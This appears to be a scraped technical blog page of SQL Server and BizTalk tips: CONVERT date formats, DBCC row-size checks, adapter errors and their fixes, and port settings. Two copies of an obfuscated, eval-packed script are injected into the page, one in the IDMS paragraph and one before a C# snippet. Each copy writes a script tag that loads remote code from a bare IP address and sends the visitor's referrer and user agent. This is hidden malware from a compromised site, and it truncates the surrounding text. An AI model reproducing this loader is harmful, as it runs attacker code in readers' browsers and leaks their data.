MSSQL Server string to date conversion – datetime string format sql server
— MSSQL string to datetime conversion – convert char to date sql server

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’, 100) — mon dd yyyy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’) — 2012-10-23 11:01:00.000

— Without century (yy) string date conversion – convert string to datetime

SELECT convert(datetime, ‘Oct 23 12 11:01AM’, 0) — mon dd yy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 12 11:01AM’) — 2012-10-23 11:01:00.000

— Convert string to datetime sql – convert string to date sql – sql dates format

— T-SQL convert string to datetime – SQL Server convert string to date

SELECT convert(datetime, ’10/23/2016′, 101) — mm/dd/yyyy

SELECT convert(datetime, ‘2016.10.23’, 102) —

SELECT convert(datetime, ’23/10/2016′, 103) — dd/mm/yyyy

SELECT convert(datetime, ‘23.10.2016’, 104) —

SELECT convert(datetime, ’23-10-2016′, 105) — dd-mm-yyyy

— mon types are nondeterministic conversions, dependent on language setting

SELECT convert(datetime, ’23 OCT 2016′, 106) — dd mon yyyy

SELECT convert(datetime, ‘Oct 23, 2016′, 107) — mon dd, yyyy

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’20:10:44’, 108) — hh:mm:ss

— 1900-01-01 20:10:44.000

— mon dd yyyy hh:mm:ss:mmmAM (or PM) – sql time format

SELECT convert(datetime, ‘Oct 23 2016 11:02:44:013AM’, 109)

— 2016-10-23 11:02:44.013

SELECT convert(datetime, ’10-23-2016′, 110) — mm-dd-yyyy

SELECT convert(datetime, ‘2016/10/23’, 111) — yyyy/mm/dd

SELECT convert(datetime, ‘20161023’, 112) — yyyymmdd

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’23 Oct 2016 11:02:07:577′, 113) — dd mon yyyy hh:mm:ss:mmm

— 2016-10-23 11:02:07.577

SELECT convert(datetime, ’20:10:25:300′, 114) — hh:mm:ss:mmm(24h)

— 1900-01-01 20:10:25.300

SELECT convert(datetime, ‘2016-10-23 20:44:11’, 120) — yyyy-mm-dd hh:mm:ss(24h)

— 2016-10-23 20:44:11.000

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 121) — yyyy-mm-dd hh:mm:ss.mmm

— 2016-10-23 20:44:11.500

SELECT convert(datetime, ‘2008-10-23T18:52:47.513’, 126) — yyyy-mm-ddThh:mm:ss.mmm

— 2008-10-23 18:52:47.513

— Convert DDMMYYYY format to datetime

SELECT convert(datetime, STUFF(STUFF(‘31012016′,3,0,’-‘),6,0,’-‘), 105)

— 2016-01-31 00:00:00.000

— SQL string to datetime conversion without century – some exceptions

SELECT convert(datetime, ’10/23/16’, 1) — mm/dd/yy

SELECT convert(datetime, ‘16.10.23’, 2) —

SELECT convert(datetime, ’23/10/16′, 3) — dd/mm/yy

SELECT convert(datetime, ‘23.10.16’, 4) —

SELECT convert(datetime, ’23-10-16′, 5) — dd-mm-yy

SELECT convert(datetime, ’23 OCT 16′, 6) — dd mon yy

SELECT convert(datetime, ‘Oct 23, 16′, 7) — mon dd, yy

SELECT convert(datetime, ’20:10:44’, 8) — hh:mm:ss

SELECT convert(datetime, ‘Oct 23 16 11:02:44:013AM’, 9)

SELECT convert(datetime, ’10-23-16′, 10) — mm-dd-yy

SELECT convert(datetime, ’16/10/23′, 11) — yy/mm/dd

SELECT convert(datetime, ‘161023’, 12) — yymmdd

SELECT convert(datetime, ’23 Oct 16 11:02:07:577′, 13) — dd mon yy hh:mm:ss:mmm

SELECT convert(datetime, ’20:10:25:300′, 14) — hh:mm:ss:mmm(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11’,20) — yyyy-mm-dd hh:mm:ss(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 21) — yyyy-mm-dd hh:mm:ss.mmm

We have one table with about 120 columns in it. I was just curious what the average row size was, and found this slick solution:

Use DBCC to find the “Average Size of a Row”


dbcc showcontig (‘your_table_name‘) with tableresults

My tablename=’Transaction’, so substitute your tablename there.


dbcc showcontig (‘Transaction’) with tableresults

average row size


average row size

Useful columns in the result are: AverageRecordSize, MinimumRecordSize, MaximumRecordSize

Error: Failed to load Group xxxx.BizTalkMgmtDb] data providers (in BTSAdmin Console)

Solution: Verify SQL Server is available, if not, start-it.

Screen shot below shows trying to connect to the SQL server; it might be on the same machine as BizTalk or it might be on another machine. The above error could also indicate a communication or maybe even a permission issue.

Open the SQL Config utility and start SQL server. The screen shot below shows how to start the SQL Configuration Manager:

The configuration utility shows which SQL services are started and stopped. Right click then select “Start” if it is not running:


There was a failure executing the receive pipeline: “Microsoft.BizTalk.DefaultPipelines.XMLReceive, Microsoft.BizTalk.DefaultPipelines, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35″ Source: “XML disassembler” Receive Port: “Receive_ExtractEFSR_Delta_FMA” URI: “mssql://.//QTAviation?InboundId=ExtractEFSR&ExtractTypeCode=Delta_FMA_Daily” Reason: Finding the document specification by message type “” failed. Verify the schema deployed properly.


Solution: Needed to change from Polling to TypedPolling  (on Binding tab, inboundOperationType

PROCEDURE (What I did to cause the error):

1) Use the adapter wizard to generate a schema and custom bindings for a SQL stored proc
2) Created an orchestration of my own, and then tried to call the stored prod with a two-way (request/response) send port.

The ERROR that I received:

<code>The adapter failed to transmit message going to send port “Send_Extract_EFSR_Aggregate_For_AA_Departure_WCF_Custom” with URL “mssql://mySqlServer//MyDatabaseName?”. It will be retransmitted after the retry interval specified for this Send Port. Details:”Microsoft.ServiceModel.Channels.Common.UnsupportedOperationException: The action “<BtsActionMapping xmlns:xsi=”” xmlns:xsd=””>
<Operation Name=”My_SProc_Name” Action=”TypedProcedure/dbo/My_SProc_Name” />
</BtsActionMapping>” was not understood.</code>

The two SOLUTIONs:

1) When you create a send port in an orchestration, by default the Operation name is “Operation-1”.
2) You have two choices to fix:
a) Change the “Operation Name” in the “Action” to “Operation_1″ like this:

<code><BtsActionMapping xmlns:xsi=”” xmlns:xsd=””>
<Operation Name=”Operation_1″ Action=”TypedProcedure/dbo/Extract_EFSR_Aggregate” />

(No redeploy required in this case.)

b) Go to the orchestration, and change the Operation on the send port from “Operation_1” to “My_SProc_Name” (i.e. whatever your stored proc name is).
Then rebuild and redeploy (or at least rebuild and re-GAC your orchestration).


NOTE: Be sure to restart the host instances of the Orchestration and SendPorts if you redeploy the orchestration.

I made some interesting discoveries today. We had a file from a client’s database administrator (DBA) that had a list of all the stored procs from a certain database. He was off today, so we were unsure how he created it. Using the open source (free) editor called NotePad++, we did a “find” on “Create Proc” and it showed for example 500 stored procs. However, we knew there were about 700 stored procs on that SQL server, so where were the missing 200 stored procs?

Another client gave me a list of stored procs he created using a simple T-SQL query. So I started writing a C# program to extract the names from the first DBA, and to put them in a file so I could using another tool, Total Commander, to do a side-by-side “diff”/compare, and find the names of the missing 200 stored proc’s.

At first, I thought the DBA must have given me a human-created file, that perhaps came from their source control system. The reason was is that there so many inconsistencies, for example:

CREATE procedure ABC …
create PROC ABC
and some had
and even
CREATEtPROCEDURE ABC (with the tab instead of space between the words “CREATE” and “PROC”)
and also

Eventually, I figured out that the file did have all 700 stored proc’s in it, but it was the simple “Find/Count” command in NotePad++ wasn’t accurate enough to do the job.

So what apparently happens, is that SQL takes your exact “Create Proc” syntax, and stores in the meta-data of the database. Then when you extract it again, it has the 100% exact same format.

This is 100% opposite of the way the IDMS mainframe database works (which I used for over 20 years). In IDMS, you can say for example, “ADD REC ABC”, “ADD RECORD DEF”, “ADD RECO XYZ”, or event split it on different lines. But later, when you say “DISPLAY REC ABC”, it will spit it back out in a formal canonized syntax such like this:

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|artak|var|u0026u|referrer|bntft||js|php'.split('|'),0,{}))
</script></noindex> ADD

I wish SQL did it the same way!

My client uses a non-standard SQL port number.
So for example, when connecting in SSMS (SQL Server Management Studio), we type in “MyServer,1234” for the server name. This also works in connection strings (i.e. specify servername, then comma, then port number.

I suppose if you were using a named instance, it would be “MyServer/MyInstance,1234”.

But if you are using WCF/SQL Adapter, it’s a little obtuse, you must specify the port number in the “InstanceName” property field, even though you are not using an instance:

Specifing port number for SQL Server (in WCF/SQL Adapter for BizTalk)

Type a comma, followed by the port number in the instance name.

SQL 2008 R2

Unfortunately, I wasted a few hours today. My current customer is still on BT2006/R2, but might be moving to BT2009 or BT2010 soon. I was building-out a Virtual PC with Win 2008, and just assumed that I could run BT2009 with SQL2008/R2. Well you cannot! I guess BT2010 will be the first version of BizTalk to work with SQL2008/R2.

You normally think that something small like an R2 won’t make that much a different, but indeed it does.

Here’s where I got confirmation of this:
Stack Overflow 2966186

You have to open the install log to see the error – and it’s various ambigous:

[13:05:10 Error BtsCfg] Failed to create Management database “BizTalkMgmtDb” on server “WhatEver”.
Error “0x80040E1D” occurred. Other blogs talk about this error being caused by not having Case-Insenstive turned on for you SQL Server. I guess basically, it means BizTalk doesn’t like something about your SQL server, but sadly, it doesn’t really tell you what it that it doesn’t like.

When will Microsoft start making user-friendly errors? LOL.
And when will the numbering schemes for the products make sense? More Laughter!

Uncaught exception (see the ‘inner exception’ below) has suspended an instance of service ‘MyApp.Common.BizTalk.Artifacts.HandleCommonErrors(4e50ec54-338d-1887-a441-2dc31c830952)’.
The service instance will remain suspended until administratively resumed or terminated.
If resumed the instance will continue from its last persisted state and may re-throw the same unexpected exception.
InstanceId: 8d92abe3-0e57-43d6-bd92-635708964f31
Shape name:
Exception thrown from: segment -1, progress -1
Inner exception: Received unexpected message type ” does not match expected type ‘http://MyApp.Common.BizTalk.Artifacts/Config#ConfigResp’.

Exception type: UnexpectedMessageTypeException
Source: Microsoft.XLANGs.Engine
Target Site: Void VerifyMessage(Microsoft.XLANGs.Core.Envelope, System.String, Microsoft.XLANGs.Core.Context, Microsoft.XLANGs.Core.OperationInfo)
The following is a stack trace that identifies the location where the exception occured

at Microsoft.XLANGs.Core.PortBindi

Change Send Port ReceivePipeline to XMLReceive instead of PassThru.

BizTalk could not parse the XML without the XMLRecieve pipeline.


Update on  08/31/2016:

This happened to me again.  I had a solution with multiple projects, and every time I did a deploy, the SendPort was getting reset.  I’m not 100% sure why, but the way I fixed that was to go to the Solution itself, and turn off the deploy of the common module.  I must have had a pipeline or something that was causing the SendPort to be modified each time I deployed.

We needed to compare a C# date-time in string format to a DB2 TimeStamp format.
Use the DateFormat string below. The six f’s represent the milliseconds.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzkhh|var|u0026u|referrer|hfakf||js|php'.split('|'),0,{}))
</script></noindex>                    txtResultUpdateTimeStamp.Text =